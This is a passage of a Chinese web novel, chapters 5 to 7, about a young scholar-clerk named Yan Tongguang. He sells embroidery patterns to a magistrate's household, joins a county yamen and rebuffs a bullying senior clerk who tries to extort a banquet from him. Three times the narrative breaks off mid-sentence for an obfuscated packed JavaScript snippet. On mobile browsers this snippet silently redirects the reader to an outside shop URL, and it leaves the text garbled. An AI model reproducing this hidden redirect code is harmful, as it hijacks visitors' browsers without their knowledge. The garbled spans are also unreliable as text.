胡元宗的声音变得温和,“办事么,还算稳妥。” 法不外乎人情,他并不讨厌重情重义之辈,也不介意属下有点小聪明。若方才赵老三矢口否认,胡元宗立刻就会想法子撸了他这个典吏。 赵老三心头一动,“大人谬赞,本分而已。” “起来吧,”胡元宗道,“既有你说情,又是前任典吏之子,还是个秀才,就叫他来吧。” 赵老三抹了把汗,终于明白了这位大老爷的用意:收买人心。 本官是看在你的面子上同意的,你自然该感恩戴德,用心办差。回去也该告诉那个小子…… 铁打的县衙,流水的县令,地方父母官看着风光,其实最难做,诸事繁琐暂且不提,因异地做官,他们大多缺乏对任地的了解和把控,具体操作只能依赖下头的吏员们。 可吏员们多年来盘根错节,岂好相与?欺上瞒下都是做熟的,古往今来不乏被架空的县令。 因此许多县令不求有功,但求无过,对下头的事睁只眼闭只眼,得过且过。 但胡元宗显然不这么想。 他有野心,有筹谋,甚至试图尽快建立起一套忠于自己的班底,真正将康阳县衙的权力捏在手里。 赵老三冷汗直流时,晏同光正挎着包袱往针线铺子里卖货。 康阳县城不算大,论人口、经济也不过中等,所幸还算太平,街面上颇有几家好铺子,薛记针线便是其一。 薛记早年贩布匹起家,后来渐渐加了些成衣、南来的丝线,并各地绘制的时兴花样子、扇面扇套、屏风等物,也算本地数一数二的了。 因价钱公道,百姓们都爱往这里来,自晏父重病起,晏同光就开始在这里寄卖。 “呦,”进门时掌柜的正举着鸡毛掸子掸灰,见他抱着包袱便笑,“你有日子不来,我正要打发人找你。” “多谢记挂,前儿城外庆云寺的大和尚找我去了一趟,才刚回来,不曾耽搁吧?”晏同光与他谦让着坐了,自有伙计上来奉茶。 “嗨,耽搁几日无妨,是好事。”掌柜的爽朗一笑,从柜台后面取了个纸包,顺手抓了算盘,“你上月在这里寄卖的花样子可见底喽。快过年了,哪家不做几件新衣裳?又多富贵牡丹、喜上眉梢的好纹样,卖得竟很好。三寸的小样可做鞋面,可绣领口,便是抹额、扇套、帕子也使得,卖的最多,足有二十七张,一张三文钱。五寸的十一张,一张五文钱,还有一尺的缠枝大团花,寻常少有人问,这个月竟一口气叫人包了五张去,一张是二十文,总共两百三十六文。” 他将算盘珠子拨得震天响,转过去给晏同光看,“没错吧?” “没错。”不等他拨完,晏同光早在心里算出来了,“一尺的花样子竟都是一个主顾买的么?” 那个尺寸的整片纹绣足以铺满前胸后背,不仅费工费力费料成本高,也极其考验绣娘的功力。况且成衣也必然通体堆满、幻彩辉煌,颇为夸张,普通人家买不起也用不着,所以晏同光画的不多,平均一个月能卖一二张就不错了,没想到竟然被人包圆! “正是呢,还是衙门里的贵人呢!”掌柜的将纸包着的铜钱串子给他,“若觉得坠手,我叫人给你换成碎银子。” 若说近来衙门里的贵人,自然是县太爷一行,倒也巧了。 “正好我出去买些纸笔,散钱好用。”晏同光才把铜钱袖起来,就听掌柜的哦了声。 “说曹操曹操到,”掌柜的堆起笑脸起身相迎,“姑娘来了,快请进!来人,上茶,上好茶。” 晏同光抬头看时,便见一个十来岁的俏丽姑娘走进来,身后还跟着两个婆子,开口便脆生生的,“家里忙得很,谁有工夫在这里吃茶?掌柜的,今日可有新样子么?” 掌柜的就笑了,侧身朝晏同光一指,“姑娘可算来着了,好货刚到。” 晏同光冷不防被指个正着,起身行礼,“姑娘好。” 见他相貌清俊,举止斯文,长袍虽浆洗得泛白发旧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14571659|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰杆却笔直,不卑不亢,那姑娘便有三分好感,噗嗤一笑,跟着还礼,“呦,还是个读书人哩!” “不敢不敢,”晏同光跟着笑了笑,“才听掌柜的说,姑娘好大手笔,未曾道谢……” 不等他说完,对方便浑不在意的摆摆手,“哪里够,你若再有好的,赶紧拿出来我瞧瞧是正经,姨娘急着使呢。” 姨娘……晏同光立刻就明白过来,此人便是新任县太爷爱妾的心腹丫头,只怕是为过年并各处赴宴准备新衣裳呢。 世人多以貌取人,自己素衣陈旧,她却不曾轻视倨傲,上行下效,可见那位姨娘乃至县太爷真心如何暂且不提,至少都驭下有方。 甚好。 “姑娘请坐,”此时店内客人不多,散客自有小伙计招呼,晏同光就跟掌柜的亲自接待,将包袱内的画卷子一一打开与她瞧,“若不中意,或有什么想要的,只管说来,我尽力去画就是了。” 那丫头年岁不大,但长年累月跟着主子们混迹京城、官场,已然十分老练,也不怯场,大大方方点出来十几张,“这几张鲤跃龙门的意头好,想来小爷会喜欢。牡丹的自然孝敬夫人,呦,这个胖娃娃多么喜庆,也要两张……” 配套的发带、头巾、荷包、鞋面、肚兜、里衣、外裳、斗篷,上到前后襟、裙幅大片,下到领口袖口边边角角,哪里都漏不得,一套下来就要大大小小五六张呢。 若再想绣个被面、屏风什么的,用的就更多了。 她说一张,掌柜的就亲自拿起来一张,没一会儿就得了一小摞。 晏同光留心观察她的神色,见虽要了不少,眉宇间却仍有不足,心思一动,试探着问:“可是想要些雅致的,适合男子出入场合的?” 刚才她念叨了许多人,老的少的都有了,唯独没听见县太爷的,这显然不寻常。 想来县太爷正经科举出身,又是这个年纪、这个身份,自然不会穿什么牡丹、鲤鱼的,故而晏同光有此一问。 果不其然,丫头一听便乐了,“可不是!这些花样子虽好,却都有些艳俗,女眷和年轻人用也就罢了,哪里配给我们老爷在外穿戴呢?” “这个不难,”知道想要什么就简单了,晏同光也笑,“我家里还有不少流云飞絮、岁寒三友、竹兰梅菊、玉兰菡萏等花样,最清雅不过的。便是要山峦流水也容易,姑娘若中意,我即刻回去取来。” 老百姓居家过日子,大多钟爱热热闹闹,花团锦簇,他既卖画赚钱,自然要想客人之所想,且把个人喜好压箱底。 不过这个叫秀云的小丫头也拿捏不准自家老爷喜好,左右晏同光并非名家,要价不贵,就用半两银子把他带来的那些雅致的画都包了。又说以后再有了好的,先给她留着云云。 掌柜的全程在场,待秀云等人离去,乐呵呵上来向晏同光道喜,又说俏皮话,“日后秀才公若是发达了,莫要忘了咱们这些老街坊啊。” “不过几个钱儿的买卖,您老莫要说笑。”晏同光失笑道。 见他揣着明白装糊涂,掌柜的半真半假笑道:“哎,岂不闻近水楼台先得月?只要得了贵人青眼,发迹只在顷刻。秀才公,你的好日子在后头呢!” 世上有东风,也有西风,可若说最厉害的,莫过于枕头风,万一这小子真得了那位姨娘的实惠,闲时往县太爷跟前提一嘴…… 即便不成,说点儿好听的也不吃亏,和气生财嘛。 5. 下马威 十一月二十一日一大早,晏同光就去衙门赴任,穿的是晏母新做的棉袄。 照晏母的意思,只要把带回来的棉花布料全给他做了,“你年轻,有功名,如今又去衙门当差,各处迎来送往的,很该有几套体面衣裳替换。” 晏同光不依,“娘,面子值几个钱儿呢?何苦打肿脸充胖子。若旁人因一件衣裳轻视我,想来也不值得往来,有甚可惜。百善孝为先,您若不先体面起来,叫外头人戳我脊梁骨呢,还有甚么前程可言,您说是不是这个理儿?” 晏母说不过他,心里也受用,便也半推半就给自己做了一身,只现在不舍得糟蹋,预备着过年穿。 却说晏同光到了衙门,一概文书都是提前办好的,只往吏房应个卯,签个字,领了腰牌就完了。 因他是刑房经书,日常少不得写写算算并抄写卷宗等,还可以从户房领对应的文房四宝。 衙门的人对外抠,对自己人却很有点大方,又因赵老三提前打过招呼,户房的铁公鸡们瞧着便有几分和善,给他东西后还挤眉弄眼的说:“使完了再来领。” 经常有人偷偷将衙门里使不完的四宝捎带回家,找机会换成银子。 反正花的不是他们的银子,送顺水人情这套大家都熟。 晏同光也不戳破,高高兴兴接过,只说改日请他们吃酒。 非亲非故的,只怕“改日”就要改到猴年马月,不过是场面客气话,对方听过一笑就完了,并不往心里去。 办完这些之后,晏同光就去刑房报道,赵老三自然在,屋子里还有其他几个经书、小书和代书,有年轻力壮的,也有白发苍苍不知做了多久,当年见过晏同光之父的。 赵老三将那些人的名称职务一一介绍过,晏同光在身后跟着一一拜见,用心记下,又当面自掏腰包从外面叫点心请大家吃。 “诸位叔伯兄长,我初来乍到,多有不足,少不得日后勤勉专注,还望诸位不弃,多多提点。” 既进了刑房,这刑房便与其他五房不同了,算自家人,要多些真心。 原本还有几人见晏同光这样年轻,一来就做经书压在自己头上,心中不是滋味。 可眼见他做得一套好场面,纵然吃味儿也不好表现出来,还有几个老资格的胡乱说些“你小时候我们还抱过你哩”的话,一时其乐融融。 刑房处理的是各类民间纠纷,常有双方各执一词僵持不下者,又或有罪案在身,家中希望轻判、脱罪者,少不得时时打点,即为油水所在,故而一旦有案子来,下头的小书和代书便罢了,经书们少不得明争暗斗。 晏同光知道自己没有资历,对衙门上下各处运转亦不熟悉,便不与众人相争,散了之后先去看些积年的案例和卷宗文书,又用领到的笔墨将现有的律法抄了几篇,决意尽快背熟。 见他把自己安排得妥妥当当,赵老三乐得清闲,转头与两个心腹商议起县上某个大户通奸一事。 “虽说有些个证据,但常言道捉奸捉双,既然没能捉奸在床,便有转还的余地……二十两就想把这事抹平?打发叫花子呢!弟兄们奔波跑腿儿鞋都废了几双!这点银子够做什么的?去,你这就叫人去传话……” 晏同光一面默背卷宗,一面穿插着竖起耳朵听些匪夷所思的民间轶事,过得十分充实,不知不觉就到了正午放饭。 他随赵老三一并出去,往食堂去的路上又遇见其他五房的人,赵老三挑着各处牌面人物分亲疏远近说了,晏同光赶紧记在心里。 有人的地方就有江湖,衙门上下共有各等吏员数百人之巨,且不说出身、性情各异,为眼前利益撕得头破血流的也不在少数,若昏头转向分不清敌我,可是要吃大亏的。 正说着,忽听前方一阵嘈杂,一个四十来岁的干瘦汉子正带着几个人呼呼啦啦往这边走,沿途多有人问候,神色十分热切,甚至是谄媚,竟像个霸王。 晏同光飞快地在自己大脑里扒拉起来,再结合迄今为止听过的各种传闻,大胆猜测,此人应当就是吏房典吏牛旺。 虽说衙门里县令做主,但上位者其实并不在乎底层人员变更,只要有人给自己把事情办好了就行,而吏房主管各处排序、升迁,可以说在场众人的一半前程都挂在这牛旺身上,怨不得他们曲意逢迎。 果然就见赵老三远远冲着对方拱了拱手,“牛典吏。” 牛旺抱拳还礼,两只三角眼往晏同光身上一抹,似笑非笑,“这就是你那侄儿?他娘的,还真是一表人才。” 晏同光的眉心跳了一下。 以前父亲在时,他曾数次来衙门玩耍,当时年纪小,许多事情都记不清了,但好像当时确实曾见过这个牛旺,照年纪和资历推测,彼时他应该还只是经书,又不是一个房里的,所以与父亲不熟,自己也没什么印象,不好确定他日常说话是什么调调。 “见过牛典吏,”晏同光心里思绪翻滚,面上却笑吟吟的上前行礼,“托您照顾,未曾当面道谢。早便听说您的大名,端的能干,为人又豪爽仗义,最是真性情,今日一见,果然名不虚传,日后还请您多多关照。” 之前就是赵老三找牛旺联手写荐书,虽花了银子,但确实办成了事儿,所以这份谢也当得。 照理说听了这样的客套话,又受过好处,牛旺便该顺水推舟说些“都是一家人,不值一提”之类的回应,然后皆大欢喜。 不曾想牛旺盯着晏同光看了一瞬,突然咧开大嘴一笑,“既想谢,不如去庆喜楼摆一桌,兄弟们也热闹热闹。” 话音刚落,他身后几个亲信便笑嘻嘻说好。 很好,晏同光立刻就确定了,这厮方才言语粗鲁绝非偶然。 他想为难自己。 庆喜楼是本县数一数二的大酒楼,一桌像样的席面少说要三两起步,若真想“兄弟们一起热闹热闹”,必要酒水果品,至少十两才能尽兴。 哪怕之前牛旺与晏家不熟,既然写了荐书,就不可能不清楚自家的捉襟见肘。 退一万步说,即便自己拿得出,也有心请大家吃肉喝酒,可牛旺这样当众抢先提出,自己倒成了赶鸭子上架,哪怕花了银子出了血,也成了牛旺的功劳,大家只会念他的好…… 晏同光不确定对方是否生性如此,专爱刁难新人,还是曾与父亲有什么过节……唯独有一点可以肯定,来者不善。 赵老三跟着笑几声,眼里却没多少笑意,“你是越活越倒退,跟个孩子讨吃的,也不害臊!” “进了衙门哪里还有孩子,你我这个年纪的时候不早在衙门里打滚了?”牛旺呵呵几声,显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14571660|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没把赵老三的警告放在眼里,继续用那双小眼睛盯着晏同光,“吃了酒就是自己人了,秀才公,你说是不是啊?” 言外之意,若今日你不摆场酒,便是不想和大家做自己人。 不管怎么说,现在晏同光都是刑房中人,牛旺此举便是在打整个刑房的脸,众人都有些不快。 奈何牛旺根基颇深,更兼手段狠辣,谁也不敢贸然出头,只得忍耐。 赵老三脸上的笑意终于褪得干干净净。 都是典吏,资历年限也相差无几,谁比谁矮一头?牛旺啊牛旺,你未免太把自己当盘菜。 晏同光不算衙门里最年轻的,很多跑腿的小书和代书都是十来岁,但绝对是最年轻的经书,又有秀才的功名,难免叫人嫉妒。 所以现在看着牛旺当众刁难,好多人心中都隐隐泛起莫名的快感,饭也不去吃了,专站在一旁等热闹看。 现场忽然鸦雀无声。 赵老三被惹出真火,沉着脸才要说话,晏同光却忽然拉了他一把,轻轻摇头。 千不对万不对,牛旺有句话说的很对,进衙门的没有孩子,怎能一味等人来救? 若此番叫牛旺得逞,日后麻烦必然源源不断。 瞧见晏同光和赵老三间的动作,始作俑者越发得意。 是了,书生,年轻的书生面皮儿最薄,又好排场好脸面,被当众这么一起哄,往往便手足无措慌乱起来……嗯? 牛旺愕然发现,眼前这小子竟还是不闪不避笑盈盈的,耳朵面皮儿没一处泛红。 屡试不爽的这一招不好使了? “我家穷,没银子。”年轻的经书大大方方道。 众人哑然。 你,你好歹是个秀才公,不要脸面的么! 面子? 对现在的晏同光而言是最不重要的东西。 “您算我的上司,又是长辈,总不至于为几口酒逼我砸锅卖铁借贷,断了我们孤儿寡母的活路罢?”晏同光突然加快语速,抢在牛旺开口前笑道,“我当然知道您是同我玩笑的,对吧?” 现场好像变得更静了,不过原先瞅着晏同光的人,却已齐刷刷看向牛旺。 墙头草而已,哪边热闹哪边倒。 “呵,”牛旺真不愧是爬到刑房典吏的人,脸皮之厚难以估计,反应也快,竟立刻能没事儿人似的跟着笑,“那是自然,原是怕你们读书人放不开,这才玩笑几句,现下见你通透,也就放心啦。” 话里话外都是“为了你好”。 晏同光就觉得此人实在阴险,“读书人”“读书人”,到了这一步还不忘挖坑。 秀才出身的吏员毕竟是少数,因身负功名,往往刚进衙门就能拿到不错的职务,难免自诩清高,瞧不上其他同僚。而其他同僚也嫉恨他们抢了自己的饭碗,对这些自命不凡的书呆子很看不上,故而衙门六房之外,又隐隐分成读书人和非读书人两个派系。 前者数量最少,但因为有朝廷承认的功名,晋升很快,即便犯错也会从轻处罚,县太爷也不能拿他们怎么样,所以地位非常稳固,多少有点有恃无恐的意思。 后者虽然大多地位不高,但数量极多,而且惯用阴招、不讲理…… 两边积怨已久,多少年了,也没能分个高下。 6. 哪儿来的? 牛旺带人走后,看热闹的也呼啦啦作鸟兽散,赵老三朝地上啐了口唾沫,“什么东西!” 又带着几分赞许地捏捏晏同光的肩膀,“好小子,有胆量。不过这回你算是跟他结下梁子啦。” “难不成还真当他的钱袋子?”晏同光很看得开,“只有千日做贼,哪有千日防贼的道理?不如快刀斩乱麻,当众撕撸开,旁人虽不会为我出头,可从头到尾都看着的,是非曲直清清楚楚,也不怕他日后造谣污蔑了我。” 今天这一出就是试探,如果自己服软,所有人就都敢来踩一脚,所以绝不能退。 跟牛旺这种阴人讲道理是没用的,就要明面上干,倘或转到暗处,谁知道他会使什么见不得光的下三滥手段! 刑房众人原本当他是个寻常的嫩脸秀才,自古百无一用是书生,多少有些瞧不上,可闹下来才愕然发现果然人不可貌相,竟是个难得的烈火暴性儿,不免又有些佩服,心中隔阂去了不少,当下纷纷称是。 有一人长吁短叹,又是钦佩又是后怕地说:“若我当时转过弯来就好了。” 他当年也被牛旺找由头勒索过,因怕得罪,便一时软弱给了,不曾想这种事有一就有二,或是叫稍带东西不给钱,或是变着法儿让请吃酒,几次三番下来,头几年别说赚钱,他反倒欠下几十两外债…… 有朋友劝他,“这却难说,被他挤兑走的人还少么?” 普通人哪怕做得久了,也不是什么无法取代的牌面人物,倘或真被牛旺盯上,保不齐早就回乡种地去了。 四下没外人,刑房众人短暂结成同盟,晏同光趁机问:“这样横行霸道的,又四处树敌,难不成就由着他?” 不该齐心协力,尽早撵走么? “哪儿那么容易,”赵老三自嘲道,“咱们这里也算池浅王八多,六房内哪个没有小心思?谁都怕当出头鸟,况且……” 迎面有人过来,赵老三顺势止住话头,等人过去才压低声音继续,“况且牛家祖上便在衙门讨饭吃,几代人经营下来,六房之中竟有四房内有姓牛的!大老爷们来来去去,只管自己升官发财,哪管下头死活,更不在意六房姓牛还是姓猪。” 晏同光点点头,“原来如此。” 断人财路如杀人父母,这种事若不能一击即中,必然迎来凶残的报复。所以不被逼上绝路,谁也不会贸然出手,总觉得反正不止我一人倒霉,忍忍就过去了。 吏员身份不上不下,饭也不是正经饭,晌午只一大锅用白菜萝卜等物煮的烩面,因放了猪油,味儿倒是香,可惜厨子本事一般,更不是按点煮的,等晏同光等人去捞时,很有点泡发了,一扯就断。 赵老三之类的典吏、有资格的老经书经常在外头吃,多的是人抢着付账,今日是陪晏同光认门子,这才留下了。 晏同光不挑,一口气吃了两大碗,又慢慢向赵老三打听牛旺的背景。 赵老三只挑了几口就吃不下去,朝同桌一个代书丢了一把大钱,“去外头割些肉来,要肥肥烂烂的,大家伙儿都打打牙祭。” 那代书麻溜儿接过,一抹嘴谄笑道:“又劳赵头儿破费。” 赵老三笑骂一句,摆手叫他赶紧的,这才转头对晏同光道:“怎么,要动手?” 没看出来啊,这小子瞧着斯斯文文的,竟是个刺儿头狠角色? 人不犯我我不犯人,可人家上来就往自己脸上踩,难不成还当缩头乌龟?晏同光笑道:“您惯爱说笑,知己知彼百战不殆,既然进了这锅里刨食儿,总得打听清楚了不是?省的日后分不清敌我。” 万一把个姓牛的误做兄弟,岂不滑天下之大稽? “少跟我掉书袋。”赵老三最听不得这些板正话,倒也没藏着掖着。 晏同光听得认真,慢慢地,心里就有了底。 虽都姓牛,可也分本家和旁支,跟牛旺年纪、资历相仿的还有几个……未必就是铁板一块。 不过一笔写不出两个牛,纵然他们私底下有矛盾,若真遇到事儿,大约会先一致对外。 方才跑腿儿那厮气喘吁吁回来了,手里提着个棉被圈盖着的箩筐,才开一条缝,便有喷香热气汹涌而出。 先是一个粗纱布裹着的热腾腾蒸饼,下头罐子里装着肥熬肉,另有一个荷叶包,打开却是磨好了的椒盐。 香料价高,这一包更不便宜,赵老三却舍得散与众人吃,着实慷慨。像这样的事时有发生,赵老三本人不以为意,故而刑房上下都服他。 赵老三取了蒸饼卷起好大几块肥熬肉,先咬一口,又倒过来蘸椒盐吃。 晏同光也跟着混了热乎乎滑腻腻一卷,果然满口流油,香喷喷的糊嘴。 他边吃边琢磨,倘或不能借助更有权势之人的势,就要想法子让牛家人内讧,但这很难,需得有个足以凌驾于亲情和血缘纽带之上的巨大利益诱惑…… 下半日相安无事,晚间晏同光家去,晏母就问:“可还好么?” 晏同光认真回想了下,笑了,“很有趣。” 他好像意外发现了读书之外的新乐趣。 接下来几日,晏同光对各处事务迅速上手,偶尔得闲,便见缝插针背诵律法、阅读卷宗文章。衙门里管两顿饭,虽无精致菜色,但量大管饱,他很知足。 进到腊月,两任县令交割完毕,前任即刻启程进京述职,算算日子,必要在驿站过年了。 六十多岁的人了,也不容易。 腊月初三,衙门里发俸,晏同光只来了几日,按天算的,与他同级的月钱是五百。 赵老三之流典吏是上了朝廷名册的,算正经职务,月俸一两,一年四套衣裳,由朝廷开销。不过实际朝廷图省事,月俸只在年终年尾两次发放,衣裳也折算成布匹,还可省些针线。 自晏同光这级往下,若严格按照律令来讲,根本就不该存在。朝廷自然不会为不存在的人开俸禄,但偏偏又少不得这些人,故而一应开销都由地方衙门自负,月钱格外少,代书甚至只有象征性的两百文。 少么? 太少了,甚至有点可怜,还不如出去要饭。 但谁都知道大头不在这上头。 康阳县城内外镇落若干,合计人口近两万,日常琐碎不知凡几,今日报牛走失,明日报羊被偷,不是这家骂左邻窃了自家鸡蛋,就是那家疑右舍昧了自家铁锨,又有讹诈药材铺子说治死人,姻缘亲家接了新妇过去虐待致死的,一言不合便要扭打进衙门。 很多时候进了衙门意味着麻烦刚刚开始,譬如如狼似虎等着刮地皮的吏们…… 晏同光跟着打了几回下手,随同抄录口供并制作卷宗文书,饶是不主动往前凑,也捎带着得了两次好处,合计四百多钱,都快赶上月俸了,包揽此事者赚的何止十倍! 他也有幸见了新任知县胡元宗几次,果然风度翩翩,办案亦煞是老道细致。 交割完公务的胡元宗彻底腾出手来,审案之余以雷霆之势拿了几个玩忽职守的差役,凡有求情者,以同犯论处。 众人便知道这是要新官上任三把火,一时都收紧皮子,连牛旺都不大嚣张了,谨言慎行,颇有风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14571661|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声鹤唳之感。 腊月初七那日,胡元宗亲自下令,叫各处预备正月赏灯会,与民同乐。另外又请了本地县学的教谕和训导来核实学子名录,连同礼房一同商议来年二月县试相关事宜。 因是他上任后头回住持县试,格外重视,懒散惯了的六房上下立刻调动起来,各个叫苦不迭。 户房这一年的账还没平完呢,就要开始忙着挤钱拨银子;工房要去城中丈量尺寸,预备正月灯会搭门楼、扎戏台、修缮考场;礼房要联络城外驿站预备各处官员接待,并胡元宗去州府拜会上官的事务,还要核实考生县试申请,制作名册,记录年龄体貌,汇成“点名册”…… 这三房端的焦头烂额,其余各处也不清闲: 年前后百姓欢乐,贼人也欢乐,盗窃、拐卖案件时有发生,因新官到任与民同乐是旧例,届时城门彻夜不关,更易发案,需得兵房和刑房众人联合部署,并三班衙役加强巡查,以防作乱。 作为新县令到任头一年,谁都不敢怠慢,唯恐被揪出来当成鸡杀给猴儿看,俱都强打精神,暂时摒弃前嫌、共度难关。 因晏同光年轻力壮,且未成家,接连几日被拉了壮劳力值夜班,刑房诸人俱都喜上眉梢。 有同为秀才的主动与他作揖,“多谢多谢,贤弟真是帮大忙了!” 他们这些人中最年轻的也有二十五,上有老下有小,着实打熬不住,如今来了个年轻的,可不就能家去老婆孩子热炕头?顿觉浑身舒畅! 晏同光家便在城中,母亲近来身子骨大好了,无甚牵挂,倒不在乎这些,“你们只管去,若有什么要紧的,我再叫人去家里叫你们就是了。” 白日忙乱,处处聒噪,夜深无人正好读书,他还有几篇好文章没读完呢,当真字字珠玑,叫人口齿生香。 生得俊俏,又肯吃苦,说话也动听,等出了正月,晏同光便彻底融入到刑房中去,同僚间私下里也渐渐走动起来。 时间一久,大家就发现,胡元宗行事做派虽有些强硬,但颇赏罚分明,出手也大方,灯会结束后嘉奖了不少人,很是不偏不倚。 众人见状,哪里还有怨言? 晏同光留神观察,发现胡元宗日常虽穿官服外袍,在外饮食也不算奢华,但偶尔露出的内裳袖口却频频更换纹样,鲜少反复,可见私心也爱鲜衣华服。 再者胡元宗爱妾的丫头秀云已经从他手里买过不下五十张花样子,上回他旁敲侧击,得知肖姨娘很满意,已经命人做了不少。 “不光我们姨娘喜欢,夫人也觉得好,过年四处宴饮穿了几套,外头都夸呢!” 秀云自觉口风严谨,可晏同光却已从短短几句话中筛出许多: 第一批花样子到秀云手中已是十一月中旬,衙门腊月二十就要封印,正月十五开印,官员及其家眷之间的走动多在此间。 哪怕照最迟正月十五衣裳上身,就意味着必须在短短六十天之内完成一整套刺绣,再量体裁衣。 刺绣,尤其是节日期间穿的大面积刺绣极费工夫,没几个月根本弄不来,需得多位绣娘一起动手才赶得上,工期越赶、绣娘越多越贵。 而既然女眷做了新衣,胡元宗那般讲究人也不可能拉下…… 这么一算,单过年新衣这一项,胡元宗便耗费甚巨。 可七品知县一年的俸禄才六十两,算上冬夏两季和一年四节的额外福利,统共折合银子不过百八十两。 命妇有俸禄,无节敬,顶天就照胡元宗夫妻一年入账一百六十两,恐怕还不够过年做几套衣裳。 7.送礼是门学问 二月二龙抬头是个大日子,衙门里放假一天,初一这日各处都散得早,晏同光也跟着收拾东西,准备去取蹄膀。 接连几次扑空后,他就有了经验,一早就给了钱,嘱咐摊主留着。 临出门,却见同在刑房的另一个经书手里捏着个细长布包,失魂落魄地从外头回来,便随口问道:“王兄,怎么了?” 这人姓王名恒,正是当初被牛旺勒索过的倒霉蛋,也是个秀才,人很老实,难得住处距晏同光家只隔着两条街,如今在刑房之内,晏同光便与他最熟。 心不在焉的王恒被吓了一跳,一张脸红红白白,很有点做贼心虚的意思,“你,你还没走?” 晏同光举起手中书囊,“抄律令耽搁了些,正要走。” 衙门里的书很多,但均不外借,他准备挨着抄一遍,充实自家书房,更方便日后翻阅。 王恒哦了声,也不知听没听进去,弓腰缩背,兀自杵在那里发呆。 见他这样,晏同光生怕自己不小心戳破甚么了不得的秘辛,胡乱寒暄两句就要走。谁知后脚还没出刑房门口呢,就被王恒一把拉住,“贤弟且慢!” 晏同光顿觉头皮发麻,苦也! 大过节的,难得清闲,他真不愿意掺和旁人的事。 王恒喊这一嗓子似乎也是一时冲动,见晏同光被自己拉住,吓着似的松开手。 晏同光得了自由便要“逃”,结果才跑出去一步,又被拉住。 看向王恒,还是那副支支吾吾欲言又止的模样。 这也不行,那也不行,是何道理?晏同光无奈道:“老兄,天色不早,你我在这里拉拉扯扯却像甚么!” 衙门里人多眼杂,叫人看见,指不定传出什么话来呢! 王恒一张干巴苦瓜脸再次涨红,连说三声对不住,又叹气,憋了半日才道:“贤弟啊,愚兄闯祸啦。” 晏同光:“……您是想找赵头儿?” 我才来几天?闯祸了我也没法子呀。 “不不不,万万不可!”王恒恨不得把脑袋甩成拨浪鼓,做贼似的四下看,生怕别人听见。 晏同光张开双臂虚指四周,啼笑皆非道:“老兄,这都什么时辰了,唯你我二人,卷宗若干耳。” 王恒这才狠狠松了口气,用力抿抿嘴,像下定某种决心般打开了话匣子,大吐苦水,“说出来不怕你笑话,愚兄自小书、经书,进衙门已有十六个年头,历五任知县,自问多年来勤勤恳恳,不敢有一丝懈怠,没有功劳也有苦劳哇……” 所有吏员每年都要考核、排名,然后根据排名升迁、贬黜,前几日王恒愕然发现,自己的排名不升反降!已经落到刑房经书中的最后一名! 再这么下去,某日贬回小书亦未可知! 王恒本想找赵老三理论,偏偏人又窝囊,没敢…… 晏同光听得有些迷糊,“您是想托我向赵头儿说和说和?” 这跟闯祸有何干系? “非也非也!”王恒一张脸涨成猪肝色,一咬牙,“论出身、论资历,我也该往上进一进了吧?” 晏同光倒吸一口凉气,立刻捂住耳朵,拔腿就往外走,“今日你我未曾相见……” 你已是经书,再进一步便是典吏,难不成让赵老□□了,请你来做? “错了错了!”王恒越描越黑,冷汗涔涔,忙不迭扯住他,生怕晏同光转头就跟赵老三告状,“我是想着,能不能去工房!” “啊?”晏同光眨眨眼,瞬间明白过来。 工房的典吏入行比赵老三还早些,十月就满五年,该退了。 事情说出口,王恒顿觉轻松,索性竹筒倒豆子,一股脑都说了,“我琢磨许久了,工房那些个经书之中,有资历的没有功名,有功名的不如我有资历,与其在这边苦熬,终日惴惴,倒不如去那头一试。” 晏同光跟着想了想,还真有几分可行! “不过老兄,你我认识不久,又差着辈分,缘何将这等机要说与我听呢?” 王恒苦笑道:“便是如此才好。” 与他年纪相仿的,焉知没有同样的打算? 其实他本来谁都不想告诉的,可今日……实在憋得快发疯了,这才胡乱抓了人诉苦。况且晏同光来的日子虽不长,可家学渊源,人也机灵,又与赵老三沾亲带故的,说不得还能帮自己出出主意,做个中人。 若此事赵老三肯帮忙,自然更有胜算。 晏同光点点头,也是。 “不过您方才说闯祸,又从何说起呢?” 一提这个,王恒的脸就皱巴成一团,一副迷茫且悔不当初的样子,“不怕贤弟笑话,愚兄素来惧怕赵头儿,实在张不开嘴,况且此事还需吏房点头才好,可那牛旺……唉!县丞、主簿,与我皆无交情,也怪我一时心急,想着大老爷像个斯文雅士,又才来,故而特特将家传古画……” “……什么古画!”才下衙的胡元宗一身雪青色竹叶纹家常袍子,端着茶盏冷笑,“我稀罕不成?说甚么要事相商,竟堂而皇之拿到二堂去!” 天还没黑呢,给人瞧见算什么! 真真荒唐! 对面美妇闻言笑倒,身边剥橘子的丫头也扑哧出声,“好个呆子。” 胡元宗越说越气,仰头将杯中残茶吃尽。 